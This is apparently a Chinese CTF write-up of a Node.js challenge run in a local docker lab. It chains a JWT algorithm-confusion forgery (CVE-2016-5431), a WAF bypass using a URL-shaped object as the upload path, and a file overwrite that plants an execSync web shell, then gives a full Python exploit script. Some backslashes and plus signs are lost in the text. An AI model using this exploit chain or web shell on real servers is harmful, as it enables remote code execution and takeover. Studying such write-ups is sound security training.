记周末打的一场研究生赛,难度还是有的,而且不能上网,很痛苦
分析
题目直接给了 docker ,直接在本地构建调试即可
注意查看 Dockerfile
文件发现安装了 nodemon
这个扩展
使用 nodemon
启动nodejs项目会检测项目是否有文件修改,如果有则自动重载项目。
审计源码发现存在登录以及文件上传的 api 。结合这两个似乎可以跨目录文件上传,再结合 nodemon
就可以实现 RCE 了。
// ...
var privateKey = fs.readFileSync('./config/private.pem');
router.post('/login', function(req, res, next) {
const token = jwt.sign({ username: req.body.username, isAdmin: false, home: req.body.username }, privateKey, { algorithm: "RS256" });
res.send({
status:200,
msg:"success",
token
})
})
router.post('/upload', function(req, res, next) {
if(req.files.length !== 0) {
var savePath = '';
if(req.auth.isAdmin === false) {
var dirName = `./public/upload/${req.auth.home}/`
fs.mkdir(dirName, (err)=>{
if(err) {
console.log('error')
} else {
console.log('ok')
}
});
savePath = path.join(dirName, req.files[0].originalname);
} else if(req.auth.isAdmin === true) {
savePath = req.auth.home;
}
fs.readFile(req.files[0].path, function(err, data) {
if(err) {
return res.status(500).send("error");
} else {
fs.writeFileSync(savePath, data);
}
});
return res.status(200).send("file upload successfully");
} else {
return res.status(500).send("error");
}
});
但是在 app.js
发现了通防,ban 了很多东西
var publicKey = fs.readFileSync('./config/public.pem');
app.use(expressjwt({ secret: publicKey, algorithms: ["HS256", "RS256"]}).unless({ path: ["/", "/api/login"] }))
app.use(function(req, res, next) {
if([req.body, req.query, req.auth, req.headers].some(function(item) {
console.log(req.auth)
return item && /../|proc|public|routes|.js|cron|views/img.test(JSON.stringify(item));
})) {
return res.status(403).send('illegal data.');
} else {
next();
};
});
但注意到如果我们是 admin 用户的话就可以直接完全自定义 savePAth
,从而利用 URL实例对象绕过绕过 waf 的限制执行 fs.writeFileSync(savePath, data)
跨目录写任意文件。
CVE-2016-5431 - Key Confusion Attack
参考 https://github.com/ticarpi/jwt_tool/wiki/Known-Exploits-and-Attacks#cve-2016-5431---key-confusion-attack
这个 jwt 漏洞就是如果服务端对 jwt 验证时定义了两种算法,其中 RS256
是非对称加密算法, 而 HS256
为对称加密算法。而如果使用 公钥验证,私钥签名默认给的是 RS256
加密算法,必须要知道 私钥才能伪造 jwt 。如果后端代码使用RSA公钥 HS256算法进行签名验证。那我们将签名算法改为HS256,即将jwt中的 header 的 alg
改为 HS256
, 此时即不存在公钥私钥问题,从而采用对称加密算法,因为对称密码算法只有一个key,那么我们用公钥进行签名就可以伪造任意 jwt了。
注意题目源码这里
代码语言:javascript复制var publicKey = fs.readFileSync('./config/public.pem');
app.use(expressjwt({ secret: publicKey, algorithms: ["HS256", "RS256"]}).unless({ path: ["/", "/api/login"] }))
服务端使用了 RSA公钥 HS256算法进行签名验证,而题目给了 public.pem
公钥那么可以写脚本伪造。
import jwt
import time
# 公钥
public = open('public.pem', 'r').read()
header = {
"typ": "JWT",
"alg": "HS256" #修改为 HS256
}
# 可以任意修改 payload
payload = {
"username": "admin",
"isAdmin": True,
"home": "any",
"iat": int(time.time())
}
encoded = jwt.encode(payload, public, algorithm='HS256', headers=header)
print(encoded.decode())
注意直接运行会报错
代码语言:javascript复制Traceback (most recent call last):
File "e:yanjiushengdockerCVE-2016-5431 - Key Confusion Attack.py", line 16, in <module>
encoded = jwt.encode(payload, public, algorithm='HS256', headers=header)
File "C:UserspaiAppDataRoamingPythonPython39site-packagesjwtapi_jwt.py", line 65, in encode
return super(PyJWT, self).encode(
File "C:UserspaiAppDataRoamingPythonPython39site-packagesjwtapi_jws.py", line 114, in encode
key = alg_obj.prepare_key(key)
File "C:UserspaiAppDataRoamingPythonPython39site-packagesjwtalgorithms.py", line 150, in prepare_key
raise InvalidKeyError(
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.
跟踪源码库 algorithms.py
的150
prepare_key
函数会判断是否有无效字符串,RAS公钥无法用于 HS256
来签名,直接注释掉就行。
改完运行即可。
利用URL实例绕过
这也是个老生常谈的问题了,以前考过类似的 readFileSync
,对应的源码分析参考 我以前的一篇文章 ,而writeFileSync
也是一样的,这样我们利用上面伪造jwt,令 home
为一个对象。服务端解析后req.auth.home
为一个 URL实例对象,再利用url编码从而绕过waf。
修改
代码语言:javascript复制"isAdmin": True,
"home": {
"href": "a",
"origin": "a",
"protocol": "file:",
"hostname": "",
"pathname": "/app/routes/index.js"
}
上传覆盖 /app/routes/index.js
写马
var express = require('express');
var router = express.Router();
router.get('/', function(req, res, next) {
res.send(require("child_process").execSync(req.query.cmd).toString());
});
module.exports = router;
exp:
代码语言:javascript复制import requests
import jwt
import time
url = "http://localhost:8089"
def getJwt():
public = open('public.pem', 'r').read()
header = {
"typ": "JWT",
"alg": "HS256"
}
payload = {
"username": "admin",
"isAdmin": True,
"home": {
"href": "a",
"origin": "a",
"protocol": "file:",
"hostname": "",
"pathname": "/app/routes/index.js"
},
"iat": int(time.time())
}
return jwt.encode(payload, public, algorithm='HS256', headers=header).decode()
def upcmd():
jwtEncode = getJwt()
# print(jwtEncode)
burp0_headers = {"Cache-Control": "max-age=0", "sec-ch-ua": ""(Not(A:Brand";v="8", "Chromium";v="99"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": ""Windows"", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryDCF9dwX3Skc62RY1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36", "Authorization": f"Bearer {jwtEncode}", "Accept": "text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "http://localhost:8082/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = "------WebKitFormBoundaryDCF9dwX3Skc62RY1rnContent-Disposition: form-data; name="file"; filename="test.twig"rnContent-Type: application/octet-streamrnrnvar express = require('express');rnvar router = express.Router();rnrn/* GET home page. */rnrouter.get('/', function(req, res, next) {rn res.send(require("child_process").execSync(req.query.cmd).toString());rn});rnrnmodule.exports = router;rnrnrn------WebKitFormBoundaryDCF9dwX3Skc62RY1rnContent-Disposition: form-data; name="submit"rnrnxe6x8fx90xe4xbaxa4rn------WebKitFormBoundaryDCF9dwX3Skc62RY1--rn"
return requests.post(url "/api/upload", headers=burp0_headers, data=burp0_data).text
def access(cmd):
return requests.get(url f"?cmd={cmd}").text
if __name__ == '__main__':
res = upcmd()
print(res)
time.sleep(2)
res = access("/readflag")
print(res)